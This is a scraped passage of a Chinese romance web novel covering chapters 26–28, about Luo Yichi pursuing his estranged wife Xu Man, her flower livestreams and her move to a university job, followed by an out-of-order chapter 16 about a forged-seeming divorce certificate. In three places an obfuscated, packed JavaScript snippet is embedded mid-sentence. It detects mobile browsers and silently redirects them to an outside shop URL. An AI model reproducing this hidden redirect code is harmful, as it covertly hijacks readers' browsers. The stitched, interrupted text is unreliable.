许满对他的排斥是如此明显,他只能用这种令她讨厌的方法,才能让她勉强接受自己给予的一点帮助。 来时已经做好了这个准备,可是当真正经历真正面对时,那种心酸难言之感,又如此的难受,像是有一把生锈的钝刀,在他心头来来回回反复磋磨。 一路无言,骆亦迟谨慎保持着不让人反感的距离,一前一后下了山。 山下天晴,路途也较为平坦,走起来轻松了许多。 早起,村里有很多人在散步,许满穿过他们,被大家看见,都关心问她:“怎么大清早的从山上下来,还搞得这么狼狈?” 许满用玩笑的语气说:“山里下雨,淋了一身雨,还摔倒了,不得狼狈嘛。” 村里大娘好心:“昨天下午我瞅着那山头就像有积雨云,还说这天可千万别有人上山,满儿你咋还偏偏上去了?” 许满笑笑:“说来话长,倒是大娘,积雨云怎么看,你教教我呗,这样下次再上山,我也有准备,看见它就不上去了。” 大娘说:“这简单,你看那云层又高又厚,云底平直,像个巨山一样的,多半就是了。哎,满儿,你身后那男的是小梁?跟你一起上山的?” 许满这才望了一眼身后,“他呀,不是小梁,小梁回家了。” “那他是谁?” “可能是游客吧。” 大娘“哎哟”一声,“估计也不会看天就进山了,看这一身弄的……” . 骆亦迟一路护送许满直到她安全到家,听见院子里传来和许晋文的对话声,才恋恋不舍转身离开。 他回到车里,换掉一身脏衣,给快没电的手机充上电,关闭飞行模式,来电提醒和消息一个个的弹了出来。 赵靖闻昨天19:42 【骆总,提醒,晚上八点欧洲线上会议别忘了】 【来电提醒:赵靖闻3】 【来电提醒:池柠2】 池柠昨天22:54 【小迟你去哪了?给你打电话怎么打不通?赵秘书说联系不到你,找到我这里来了】 池柠凌晨00:13 【很担心你,看到回电】 【来电提醒:赵靖闻1】 赵靖闻凌晨01:25 【骆总,欧洲合作商那边炸了您知道吗?我已经联系公关去处理】 【来电提醒:爸1】 语音留言凌晨01:36 【公司那边怎么回事?那么重要的会议都缺席?】 …… 消息一条接一条,看得人既心烦又头疼,骆亦迟囫囵扫了一眼,便把手机扔在了一边,任它嗡嗡响着,不打算看了。 在山上待了一天一夜,滴水未进,身体机能好像现在才反应过来,又饿又冷。 骆亦迟没什么胃口,车里有瓶矿泉水,不知道什么时候放的,他没管那么多,拧开咕咚咕咚灌下去大半,喝完往旁边一扔,关掉空调,趴在方向盘上休息。 闭上眼不知道过了多久,手机又嗡嗡响起来。 骆亦迟任它响了一会儿,一直等到第三遍,才疲惫的接起。 听筒里传来池柠关切的声音:“终于打通了,小迟你去哪儿了?给你敲门一直不应,是不在家吗?” 骆亦迟一张口,感觉喉咙有点不对劲:“手机没电了,才充上电。” “声音怎么这么哑?生病了?” 喉咙痒,痛,像是发炎了,骆亦迟咳了咳嗓子,顿时头痛欲裂,连带着浑身肌肉都酸疼。 有点冷,他把西装外套穿上,又拧开水喝了一口,说:“嗯。” 池柠焦急道:“怎么会病了?你在哪儿?我给赵秘书和老张打电话,让他们去接你。” 骆亦迟咽了口不存在的唾沫,喉咙瞬间像刀片划过一样,疼得直冒烟。 “我没事,休息会儿我就开车回去。” “生病开车不危险吗?” “告诉赵靖闻……算了,我自己给他打电话吧。” “小迟……” “你不用管我,我自己心里有数。” 骆亦迟没说那么多,挂断电话,忍着身体的不适,给赵靖闻拨了过去。 赵靖闻几乎是秒接,骆亦迟不废话,直接下通知,“我中午会到公司,你在公司等我。” 说完,掐断了电话。 他躺靠在驾驶座上,视线穿过车窗,望向通往许满家巷子口的那个方向,深深看了一眼。 犹豫良久,打开车门下了车。 清晨太阳还没那么毒辣,有几个大伯大娘坐在村口聊天,骆亦迟向他们打听村里有没有可以看病的地方。 老伯指向东边,“卫生所是吧?呐,往东,过两个巷子口就到了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511933|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “谢谢老伯。” 道完谢,骆亦迟回到车上,按照老伯指示,驱车往东。 卫生所很好找。 一家独家院似的卫生所,不用费力就能看见,骆亦迟推门进去,穿白大褂的医生看见他,从电视剧里移开目光。 骆亦迟直奔主题。 “开点感冒药,要开车不打瞌睡的。” 村医简单询问了骆亦迟的症状,从柜台机拿出两盒药。 “这个吃了不犯困,但效果不如打瞌睡的明显。” 骆亦迟说:“那开两份吧,另一份正常就行。” 村医又拿出两盒不一样的药来。 付了款,骆亦迟拿走前面那两盒药,后面的推回给村医。 “麻烦帮我送到村北许满家里,交给许满。” “老许家那闺女?” 骆亦迟点点头。 村医经常干上门看病送药这事儿,对骆亦迟的要求见怪不怪。 他好奇的打量了这个憔悴陌生的男人一眼。 “行,一会儿我给她送去,但是说什么呢?” “就说……” 骆亦迟顿了顿,欲言又止,“算了,什么都不用说。” 如果许满跟他一样也生病了,那么大概率会猜到药是他送来的。 不想让许满拒绝,只好不出现在许满面前。 骆亦迟拿好药,回到车里,就着剩下的水吃了,发动车子,慢慢往连城的方向驶去。 . 许满是中午发现自己生病的。 到家之后她洗完澡就去床上睡了,睡到中午迷迷糊糊醒来去做饭,一翻身,视野一片天旋地转,还没坐起,身子就沉得像一袋水泥,倒床上起不来了。 意识到是病了,许满想跟许晋文说一声。 “爸。” “爸?” 唤了两声,没人应,她趿拉上拖鞋,去院子里找。 院子里也没人,不知道人去哪儿了,许满头晕目眩的,喊了几声就觉得缺氧,靠在窗边,借着热烘烘的太阳缓劲儿。 暼见窗台上有两盒药,许满拿过来一看,是感冒药,正好对应自己的病症。 这是许晋文发现她病了,趁她睡着时买来的? 估计是,除了许晋文,谁还知道她生病了? 许满心里暖暖的,进屋倒了杯热水,对着说明书吃了药,便回卧室躺着了。 不一会儿许晋文串门回来,见许满还没醒,敲门叫她起床。 感冒药药效发挥没那么快,许满迷迷瞪瞪听见声音,闷闷的说,“爸,我不舒服吃了药,你先让我躺会儿缓缓,等好点了我就起来做饭,你饿的话桌子上有麦片我可以先帮你泡点。” 许晋文只听到许满不舒服,“什么药?怎么病了满儿?” 许满:“就窗台上的感冒药,我感冒了,发烧呢。” 许晋文想起来了,“哦,那个啊,王医生,半上午送来的,问他为什么,他,不说。” 许满一怔,拉开了被子:“不是你给我买的?” 许晋文:“不是。” 许满转念一想,是啊,她关着门,许晋文没进她屋,怎么会知道她生病了? 卫生所的人自然也不会知道。 瞬间许满心里有了另一个答案。 是骆亦迟预感到她会生病,所以帮她买了药特意找医生送过来? 那他自己呢? 在山洞外穿着短袖坐了一夜,还好吗? 应该不会比她好到哪里去吧…… 许满咬了咬嘴唇,也许是因为生病,坚硬的心竟罕见的生出一丝内疚来。 但很快,又告诫自己。 快收起那点廉价的同情心! 她又不是菩萨! 不能心软!不能慈悲! 27. 第 27 章 许满在家养了两天病,病好之后,梁桓宇又来了。 梁桓宇一走就是小半个月,这次回来没带大黄,许晋文心里还有些失落。 不过他没在明面上表现出来,就是跟梁桓宇聊天时,会时不时主动提起大黄,问他:“大黄,好了啊?” “好了呢,活蹦乱跳的现在。” “哦……大黄它,可别,再乱吃,东西。” “放心吧大爷,我爸妈把它照看得可好了,不会让它乱吃的。” “哦……” 直播停了一阵子,流量直接腰斩,又得重新造势。 场地依旧选在许满家院子里,傍晚天刚擦黑,许满将晒了一地的药草收拾干净,梁桓宇重新开播了。 幸好他有粉丝基础,不管人多人少,总有人看。 许满不执着必须卖出多少,她在这直播卖花件事情比较佛系,能卖出去就卖出去,卖不出去也无所谓,图的就是有事干。 上次尝试过一次直播,结果不尽人意,这次许满特意搬了个小板凳坐在旁边学习,看梁桓宇是怎么操做的。 看完得出结果,自己确实不是直播那块料。 梁桓宇走的小鲜肉唱歌赛道,许满走的是科普赛道,两赛道受众完全不同,有深厚的壁。 且梁桓宇是个e人,说话表演收放自如,不唱歌时永远有话讲,且内容都不干巴,跟讲课时容易跑题讲八卦的老师有得一拼。 对比一下自己的直播,内容枯燥乏味,有话讲时都是干货,没话讲时只剩沉默。 怪不得梁桓宇不上她的课,原来是她讲课没意思。 得,自己不是干直播那块料,专业的事还是交给专业的人做吧。 时光在夏日暖风中飞速流逝,转眼到了八月下旬。 新入职教师需要提前一周到校参加入职座谈会,距离九月份开学还有不到十天,许满开始筹划上班租房子的事儿。 当时求职报的是人才引进,有购房补贴,每年按比例支付,还有一笔安家费,凭这笔钱,许满可以在学校附近租个条件差不多的房子。 闲下来,许满征询许晋文的意见:“爸你想不想跟我一块去连城?我在那边租个房子,上班后就没上学那么忙了,有时间陪你。” 许晋文一听要离家,纠结的思索了很久:“去那边,有熟悉的,人吗?” 许满说:“大概没有,我计划租个电梯房,再给你买个轮椅,你天天坐着轮椅到人多的地方找人聊天,人嘛,聊着聊着就熟悉起来了。” 许晋文还是喜欢流云湾,人熟地也熟,但许满得上班挣钱,不可能天天待在家里照顾他,他又确实不想离家,一时犯了难。 “要不,我还是去,康复医院吧,老赵,还在那儿呢。”许晋文落寞的说。 许满想让许晋文离她近一点:“要不我在学校附近给你找个康复医院?” 许晋文:“那,还不如,租房呢。” 许满:“……” 人到老年脾气拗,许满知道,许晋文不想跟她走一来是念家,二来怕麻烦她,三来,是怕寂寞。 他喜欢待在熟悉的环境里,去家附近的康复医院,起码那些医生他都认识,而且老赵也在那儿,能跟他聊但一块去。 “行吧爸,那我联系你上次去的康复医院。” “哎。”许晋文说。 商量好许晋文的去处,许满便向梁桓宇打听连大附近的租房情况。 梁桓宇虽跟连大情谊颇深,但租房这一块,从小衣食不愁的知识分子子女没有了解过。 “啊老师要不我让我爸妈帮你打听打听?”梁桓宇挠着头说。 自己找房子怎么还麻烦上梁桓宇父母了? 许满赶紧:“不用不用,我就随口问问,哪能让你爸妈和你为我这点小事儿操心。” 梁桓宇:“老师你说这话就见外了。” “我没跟你见外,我就是觉得,租房最好向陌生人租,牵扯朋友关系,涉及到金钱或者人情,一出事就掰扯不清了。” 梁桓宇思索一瞬,大概觉得许满说的有道理,“行,那到时候我陪你一起看房子。” 离开学还有几天时间,许满得安顿许晋文,还得置办一些东西,没空再跟梁桓宇玩直播,正好梁桓宇租的民宿也到期,便不再续租,打道回去了。 梁桓宇走后,许满趁没事干又架起了直播架,面对观众寥寥无几的直播间,跟院子里的花一一道别。 “马上就要去邻市上班,院子里这些花没人照顾,又得听天由命了。” “不过我留了一些花种,如果租房的地方适合养花,再把它们重新种下,那样来年就又能闻到花香了。” “这是向日葵,花期就只有暑假两个月,开学慢慢就败了。” “这是六出花,这是黄玫瑰……” 许满絮絮叨叨说着,突然,个位数的直播间跳进来一个熟悉的id。 宇音不绕梁:【老师你在直播?】 他怎么来了? 许满黑线,尴尬道:“啊,嗯,闲着没事儿,跟这些花道个别。” 宇音不绕梁:【老师,你这样子不行,没多少人看,我跟你连线吧】 许满拒绝:“千万不要。” 她可招架不住那么多人,网络跟其他地方不一样,一紧张说错话,会被人恶意曲解的。 宇音不绕梁:【为什么?】 许满正经道:“我们是师生,跟你关系太密切会让人引起误会,到时候费多少嘴皮子都解释不清,你说你这不是害我吗?” 梁桓宇:“……” 这次换梁桓宇黑线了。 许满对师生关系太敏感,已经强调过无数次,梁桓宇耳朵都快听出茧子了。 宇音不绕梁:【老师我怎么会害你呢?】 许满:“你最好不要害我,我输不起。” 梁桓宇自带流量,在许满直播间里待了会儿,引来不少人气。 观看人数直线上升,从个位数开始,不知不觉上升到两位数,没一会儿破百了。 评论也渐渐多起来,大都在说抓到了梁桓宇本尊,还有人问他为什么不去自己直播间直播,而是在别人直播间里闲逛? 梁桓宇挑挑拣拣,看心情偶尔回复几句。 许满保持自己的节奏跟大家聊天,隔一会儿就看一眼评论,忽然瞟到一条关于自己的。 【这是在流云湾度假村卖花的那位小姐姐吗?】 【哇小姐姐你竟然直播了!】 许满不认识这位id是一串表情的网友,只回答,“啊,是我。” 【小姐姐你种的花好漂亮,也想拥有小姐姐的同款花坛。】 许满:“你若喜欢我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529046|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以教你怎么种。” 宇音不绕梁:【小姐姐若是喜欢,买束花呗,主播亲手种的花,养得可好了,保准收到后新鲜如初!】 表情符:【我喜欢小姐姐做的搭配,当初在流云湾旅游买了一束,拍照老好看了!】 说完,后台跳出一笔订单。 许满惊呆,这也行? 宇音不绕梁:【小姐姐收到货后觉得不错,再推荐其他朋友来啊。】 许满还处于震惊中,机械的把梁桓宇的评论念了一遍。 她就只上了这一个链接,完全没准备会卖出去,这一下卖出去了,还有点小激动。 “谢谢表情符小姐姐的照顾,小姐姐收到货后觉得不错,再推荐其他朋友来啊。” 表情符:【明天会发货吗?】 许满:“会的会的。” 表情符:【OK】 时间已经比较晚了,明早许满还要送许晋文送去康复医院,又聊了一会儿,便下播了。 第二天上午,许满去把花发出去,下午,便把许晋文送去了康复医院。 康复医院的人带老赵一起出来迎接,热烈欢迎老病友回归,欢声笑语间,许满见许晋文笑得开心,犹如回到快乐老家,离别思绪冲淡不少。 许晋文跟老赵住一个病房,许满买了牛奶,面包和水果,放在病房里让两位老人一起分享。 快要走了,许满握住许晋文沟壑嶙峋的手,叮嘱他:“有事没事想我了就给我打电话,我不上课都会接的,节假日一有空我就来看你,寒假再把你接回家去啊。” 不知道哪句话触动了许晋文,他浑浊的双眼闪着泪花,紧紧拉着许满的手,嘴角颤抖。 “满儿……” “爸你别哭啊,我又不是不把你接回去了。”许满跟着红了鼻子。 人上了年纪,最不忍就是离别,年轻时许晋文不以为意,为了挣钱几乎很少在家,现在成了这么一副残躯,反倒越来越舍不得亲情来。 可是许满要有自己的事业,他不能拖累许满呀,只好收拾掉窝囊的眼泪,强装无事,让许满赶紧走:“嗯,过年,再来接。” 许满一笑:“爸,不用等到过年,小年我就把你接回去,你要听医生的话,按时吃药,别耍脾气,知道吗?” 从康复医院回来,许满又打包了去学校的行李,第二天天一亮,便坐第一班大巴,出发去学校了。 这天一大早,许满亲自直播卖出的那束花,一路颠簸送到了前台职员王漫漫手里。 王漫漫高高兴兴拆开快递,按照随单小卡片提示醒好花,把花枝一枝枝取下来,插在透明的花瓶里。 她摆弄得认真,没注意前方投下来一个人影。 “你这花……哪里买的?” 来人出声,声色沉冷,王漫漫顿时手一抖,吓了一跳,忙中断动作,毕恭毕敬认真认错:“啊,骆总,对不起骆总,我不该上班时间开小差。” 骆亦迟仔细端详着那几株向日葵,“这向日葵很漂亮,哪里买的?” 王漫漫不敢看骆亦迟的神色,头垂得快要掉到地上:“网……网上,直播间,我们去团建时,村里一家卖花的小姐姐那里买的。” 直播间? 骆亦迟双眼微眯,想起那天晚上在许满家院子里唱歌的小男生,脸色一沉,“一会儿来我办公室一趟。” 28. 第 28 章 骆亦迟这句话令王漫漫战战兢兢。 花都不敢摆弄了,磨磨蹭蹭半个小时后,她忐忑不安的按下电梯楼层,一路预想了各种最坏的可能,内心打鼓的走到骆亦迟办公室门口,手来回试探几次,始终不敢下手敲门。 赵靖闻坐在骆亦迟办公室门口,看见王漫漫原地踱步踌躇不前,玩笑问道:“漫漫,你怎么上来了?” 王漫漫仿佛抓住了救命稻草,立刻投以求救的眼神望向赵靖闻:“呜呜呜赵秘书救我……” 赵靖闻见王漫漫一脸害怕的样子:“怎么了漫漫?” 王漫漫快哭了:“呜呜呜我被骆总抓现行了,他要找我谈话,该怎么办?他不会把我开了吧?这工作是我好不容易才找到的……” 办公室里骆亦迟正在跟人通话,赵靖闻往里面瞟了一眼,估计还得一会儿,于是趁机问王漫漫:“开除你倒不至于,骆总没空管你们前台的事儿,你告诉我,你开什么小差了?” 王漫漫:“我上班插花被骆总逮到了……” “插花?不至于啊,骆总桌子上还天天插着花呢。” “那他为什么见我这样脸就黑了,还让我来找他,他也太周扒皮了,我就插个花,至于找我单独谈话吗?” 赵靖闻可不认同王漫漫这套猜想,微笑安慰她:“也许是看上了你的花呢。” 王漫漫此时固执的认为骆亦迟就是想开除她,要么就是罚她,或者警告她。 总之,被公司高层单独叫去谈话在她眼里不是什么好事。 赵靖闻似乎又帮不了她,她丧得要死。 办公室里的通话声一结束,赵靖闻跟骆亦迟打去内线电话,“骆总,前台王漫漫找你。” 骆亦迟:“让她进来。” 挂上电话,赵靖闻给王漫漫使眼色:“快进去吧。” 王漫漫畏畏缩缩:“呜呜呜呜,我不敢。” 赵靖闻给她鼓励:“没事的,相信我。” 然后,代替王漫漫轻轻敲了敲门。 “进!” 随着一声命令,王漫漫顿时被抽了魂一样,腿都软了。 赵靖闻帮她推开门缝,她提心吊胆走进去,站在门口那片位置,低头含胸,大气不敢出。 “骆……骆总,您找我?” 骆亦迟拿着手机,头都没抬,问她:“你早上买的花,是哪个直播平台?” 王漫漫老实报出平台名字。 骆亦迟在手机上点了几下,从办公桌后走出来,将手机举到她面前,让她确认:“是这个app?” 王漫漫狂点头:“对对!” 骆亦迟下载好app,注册,登录。 又问:“卖花的主播叫什么名字?” 王漫漫在自己手机上点开最近关注,“骆总,就,就第一个。” “花与宇宙。” 骆亦迟念出这个id,搜索,找到对应头像,点击关注。 “她一般什么时候直播?” 王漫漫像个机器人,问一句答一句,小声道:“不清楚,我就看过一次直播,偶然点进去的,前天晚上。” 骆亦迟略一沉吟,“好,我知道了,你回去吧。” 说完,坐回办公桌后。 王漫漫暗自长舒一口气,全程头都不敢抬,蹑手蹑脚退出了办公室。 赵靖闻看她终于解放了,凑上来问:“怎么样,骆总没罚你吧?” 王漫漫拍拍心跳还没平复的胸口,“没,好奇怪啊,骆总就问我花在哪儿买的,还跟我要了卖花主播的账号。” 赵秘书一副我就知道的表情,“早就说了,骆总看上了你买的花。” 王漫漫不由感叹:“原来骆总是个爱花之人啊!” 赵靖闻微笑:“好了,没事了,快回去上班吧。” . 开学前的准备会议并不轻松,许满遇到都没顾上吃,拖着行李箱来到学院大会议室,新入职教师座谈会一开就是三四个小时。 会议内容枯燥乏味,无非就是教师介绍,师德培训,教学活动,课程安排,科研展望……这些千篇一律的内容。 许满认认真真做笔记,会议结束,领导们各自回家,她留下来跟未来同事互相认识。 各道专业,学科方向,互换联系方式,加微信进群,一套流程搞下来,口干舌燥。 开完会能回家了,同事张澜看她拎着行李箱,客气问道:“许老师你今天才来?是要回住的地方吗?我往东,顺路的话可以载你一程。” 许满感谢对方好意,“谢谢你张老师,但我还没找好住的地方,一会儿还得去找房子呢。” 张澜惊讶:“还没找吗?前两天我看有老师在学校教职工大群发了个出租自住楼房的贴子,位置就在学校北门步行十分钟的路程,华庭府,价格也公道,你没约着去看看?” 许满:“房东也是我们学校的老师?” 张澜:“是的,好像是商学院的一位老师,你有大群吗?没有的话我拉你进去,你去群里面问问。” 许满加了学校大群,张澜将租房贴转发给她,许满看过以后,觉得还行,能聊聊,于是@发帖人: 【江老师,学校北门那套房子还在吗?没租出去的话我想看看。】 江淮秒回:【私】 许满备注自己“景观系许满”,向江淮发出好友申请。 秒通过。 许满问:【房子还在吗?】 江淮:【在】 许满:【今天想看房,方便吗?】 江淮:【方便】 许满:【那我们约在小区见?】 江淮:【好】 许满:【江老师几点方便呢?】 江淮直接拨来了语音。 “喂?许老师?晚上六点半可以吧,现在我不在学校,得开车过去。” 对方是个声线低醇的年轻男音。 现在是下午五点,约在六点半见面的话……行,不耽误她吃晚饭。 “好的,江老师,那就约在六点半吧。” 许满跟张澜一起从教学楼出来,互道再见后,张澜去找车,许满提着行李箱去找食堂。 还没开学,一些学生已经提前返校。 许满视线在零星几个学生身上略过,忽然一定,看见前方人行道榕树下,站着一个熟悉的身影。 许满:“……” 梁桓宇朝她遥遥挥了挥手,跑到她跟前,一口白牙笑得灿烂,“老师:又见面了。” 许满:“你怎么在这儿?” 梁桓宇洋洋自得:“当然是等你啊。” 许满问:“等我做什么?” 梁桓宇佯装不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538961|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴:“哎呀老师你忘了?从流云湾离开之前,你不是给我布置了任务,要给你找房子吗?我一回来就马不停蹄的联系中介,这不已经约了几个,带你去看看?” 许满就随口一说,没想到梁桓宇还上心了。 “你已经约好了?六点半我也约了一个。” “你也约了?在哪儿?” “学校北门,华庭府,商学院一个老师的自住房,现在在往外租,刚才我们微信聊过了。” 梁桓宇知道那个楼盘。 “华庭府的房子刚建好没几年,我没去过,听说环境挺好,是个小资楼盘,租金多少钱?” “还没谈,等见面了我再杀价。倒是梁桓宇同学,你能带老师先去食堂吃个饭吗?老师早上出门到现在,一口热乎饭都还没吃上,快饿死了。” “早说嘛!”梁桓宇一拍大腿,“学校食堂有五六个,你想吃哪个?我请客!” 许满快饿死了:“不挑,就最近的一个吧。” 暑假期间连大食堂正常营业。 梁桓宇带许满去了就近的一个食堂,许满饿狠了,一顿饭狼吞虎咽吃完,一擦嘴:“好了,吃饱了,我们去华庭府吧。” 梁桓宇还想带许满逛逛学校呢,“这么早去吗?现在还不到六点。” 许满不喜欢迟到,拎起包:“走过去不得半个小时?趁天还没黑,我看看小区环境怎么样,不然天黑就看不到了。” 谁知话还没说完,微信电话响了。 江淮打来电话,说自己还有十分钟到,会先在房子里等她,让她尽量不要迟到。 梁桓宇只好作罢,和许满一起去华庭府。 华庭府保安戒备森严,许满和梁桓宇没有门禁,被拦住登记了个人信息。 保安指给许满要去的楼栋单元位置,说:“没有门卡进不去,你跟业主提前联系,让他给你开单元门禁。” “哦哦好。”许满应着。 两人又一路来到江淮所在的28号楼2单元。 正准备打电话让江淮开门禁,正好单元楼里有人出来,许满和梁桓宇趁机借此进去了。 江淮住22楼2202号,两人乘电梯上去,梁桓宇打量着明亮几净能照出影子的电梯,给与肯定评价:“这小区物业不错,安保和卫生各方面都挺到位。” 许满目前也都挺满意:“这不挺好?” 叮的一声,电梯抵达22层。 许满从电梯里出来,一梯两户的户型,西边户2202房门大敞,像在招呼她进来一样。 许满试探走过去,还未到门口,凉丝丝的空调风便将她包裹。 电视声音传出来,敞开的门内,客厅一览无余。 一个穿着打扮贵气的年轻男子此时正翘着二郎腿靠坐在黑色皮质沙发上,电视墙前的大屏超薄电视正在播放一档时下热门的综艺节目。 “江淮……江老师?”许满立在门口,敲了敲门。 江淮从沙发上坐起来,“许满老师吧?” 许满点头:“嗯。” “快请进。” 江淮快步去迎接,边走边说,“我这套房子一个暑假没人住了,不过一直有请人打扫,刚才试了试,电气设备全都能正常工作……你们……” 江淮这才注意到跟在许满身后的梁桓宇:“两个人住?” 16-20 第16章 第 16 章 头发。 【家里那些花都焉了, 你准备不管它们了吗?】 打完这行字,骆亦迟调出相册, 选中今早出门时拍的一张插花照片,点击发送—— 果不其然,又一个醒目的红色感叹号。 滑动屏幕往上,红色感叹号一屏又一屏,见不到顶。 骆亦迟放下手机,靠坐在办公椅背上, 烦闷的揉了揉眉心。 那些花他无论如何都照顾不好,不是枯了,就是根茎烂了。 它们在期盼主人回来,来拯救它们, 可是已经一个月了,它们的主人还不回家, 电话和微信都联系不上, 而林逸又拒绝提供任何相关消息。 骆亦迟快要疯了, 就差打电话回母校, 问校领导索要许满的家庭住址, 好驱车去将她找回来。 可那又能怎样呢? 许满铁了心要跟他离婚, 把她找回来, 也只是把他们的婚姻往无可挽回的境地更推进一步罢了。 其实他还侥幸的抱有一线希望, 固执的认为, 许满没那么绝情, 她就是想出去玩一玩放松一段时间, 玩够了,估计就回来了。 揣着这点自欺欺人的想法,骆亦迟安安稳稳的待在连城, 等许满自己醒悟,自己回来。 叮咚—— 手机传来一声消息提示声,骆亦迟猛地坐直了,迫不及待按亮手机一看,满屏红色感叹号的界面上飘出池柠的信息,眼底的期待再次幻灭。 【听阿姨说你和许满离婚了,怎么回事?】 骆亦迟又瘫回椅子上。 许满把和他相关的人都删除了,包括池柠。 池柠发现的时候,打电话问他怎么回事,他支支吾吾半天,借口说吵架了。 后来池柠想劝俩人和好,给许满发送好友请求,许满一直没通过,几次去骆家,也没见许满在,池柠才晓得两人这次气生的有点大,还替许满骂了骆亦迟,没想到今天忽然就收到消息,说两人离婚了。 骆亦迟等心情平静了会儿,才回复池柠:【没离。】 池柠:【那你妈妈怎么发这样一张照片?】 池柠:【图片.jpg】 池柠:【是你爸爸先收到,转发给我的,让我问问你怎么回事,小迟,你们不是单纯的吵架吗?怎么就离婚了?你是不是做了对不起许满的事?】 骆亦迟没心思看那一大段文字,直接点开对话框里的图片,一看,是张贴着自己单人照片的离婚证,登时傻眼了。 然而还未等他仔细盘问,办公室的门从外向内被人推开了。 杜曼玲旁若无人的走进来,兴致勃勃往沙发上一坐,包一放,跷起二郎腿,趾高气昂的宣布:“儿子,今天我替你办了一件大事。” 骆亦迟放下手机,从桌上捞起一本文件,假装在办公,“什么大事?” 秘书赵靖闻送进来一杯咖啡,杜曼玲接过慢悠悠品了几口,摆出一脸卖关子的表情。 “你猜。” 猜什么猜,骆亦迟现在烦得很,没心情猜。 “我有事要忙,没空猜,妈你有什么事就直说吧。” 杜曼玲便不卖关子了,放下咖啡,从包里掏出一沓照片,一一摊开摆在面前的茶几上。 “你这不是离婚了吗,我给你找了几个门当户对的姑娘,都是你见过的。尤其这个方嘉敏,中学时你们经常一起玩,寒暑假还一同去欧洲游过几次学,我老早就看出来她对你有意思,这不你一离婚……” “谁说我离婚了?” 骆亦迟下意识抬眼,眸光凌厉打断杜曼玲,“妈,我还没离呢。” 他的眉头皱成了川字,强调道:“我没离婚,你不要天天往外说,更不要安排我和其他姑娘见面,我没离,也不想离!” 杜曼玲往沙发靠背上一靠,抱臂道:“话说晚了。” 骆亦迟微愣,没明白过来什么意思。 只见杜曼玲不急不缓从包里拿出一个红本本,甩在茶几上,盖住了姑娘们的照片。 “今天上午,我托周律师办的,你看看,还热乎着呢。” 银白色的“离婚证”三个大字一闪而过,骆亦迟瞥了一眼,忽然想到刚才池柠发给他的照片,不确信问道:“这谁的?” “瞧你说的,还能是谁的?总不会是我和你爸的。” “所以这是……” “当然是你的。” “!” 骆亦迟一脸“你在开什么玩笑”的表情,下一秒,身体诚实的冲过来,一把抓起茶几上的离婚证,翻开,果不其然看见自己的名字和单人照片,忽然心里咯噔一下。 这是他的离婚证? 他什么时候去办的? 他自己怎么不知道? “妈,你哪儿弄的?” 刹那间,熟悉的画面和相似的记忆涌入脑海,他隐约意识到了一种可能,身心猛地一震。 骆亦迟呼吸颤抖,声音竭力镇定,“这照片都p过头了,钢印也盖的不清不楚,一看就是假的,妈你别被□□的给骗了!” 说罢像是抓着某种很讨厌很恶心的物件一样,将离婚证往桌子上一摔,转身回到办公桌翻看起文件来,但真个人却心不在焉。 杜曼玲固执的拿起离婚证,再次送到他面前,“你再看看呢,这照片不就是去年你拍结婚登记照时顺便拍的那张?我是你妈,还能骗你不成?” 骆亦迟看看离婚证上自己的照片,又看看杜曼玲,脸上的不解和疑惑几乎凝成实质。 有那么一瞬间,他想,这玩笑开得真的有点过了。 离婚必须双方亲自到场,他没在离婚协议上签字,也没去现场,怎么可能有离婚证? 对,肯定是在骗他,这证肯定是假的! 像是想证明什么,又或者是想极力否认什么,骆亦迟把离婚证再次拿了起来。 软制的封皮缓缓掀开,他一个字一个字,一个钢印一个信息的认真确认。 确认着确认着,他眼中的不明白越来越多。 照片是他的,钢印是有的,信息是对的。 所以,证件是真的。 但他还是无法相信眼前的事实。 他亲爱的妈妈,都背着他做了什么? 他不理解,很不理解。 为什么又这样? 为什么总喜欢做这些事? 替他决定上什么大学,替他决定该不该离婚。 为什么一次又一次的,不问问他的意愿,不问问他想不想,就擅自给了他这样一个结果? 她为什么要这样做啊? 他还在等许满回来呢。 有这个东西在,许满还会回来吗? 压抑烦躁的心口咔嚓一声,裂出道缝隙,一股很久之前就盘踞在心底的火气从那里冒出来,滋滋的,攀着神经,不断往上,妄图焚烧他的理智。 他闭上眼,深呼吸,用力捏着那本离婚证,平整的纸因为受力挤压,皱出难以修复的痕迹。 “妈,你都背着我做了什么?你替我在离婚协议上签字了是不是?”他几乎肯定的说。 杜曼玲得意道:“周律师说了,离婚涉及的当事人只有你们两个,不像其他法律那样马虎不得,只要许满自己签了字,她自己认了,这离婚证就算有效了。” 言外之意,不用管他的想法,是吗? 心底传来一声巨响,是骆亦迟悬了一个月的心,吧唧一声,摇摇摆摆坠了地,死了。 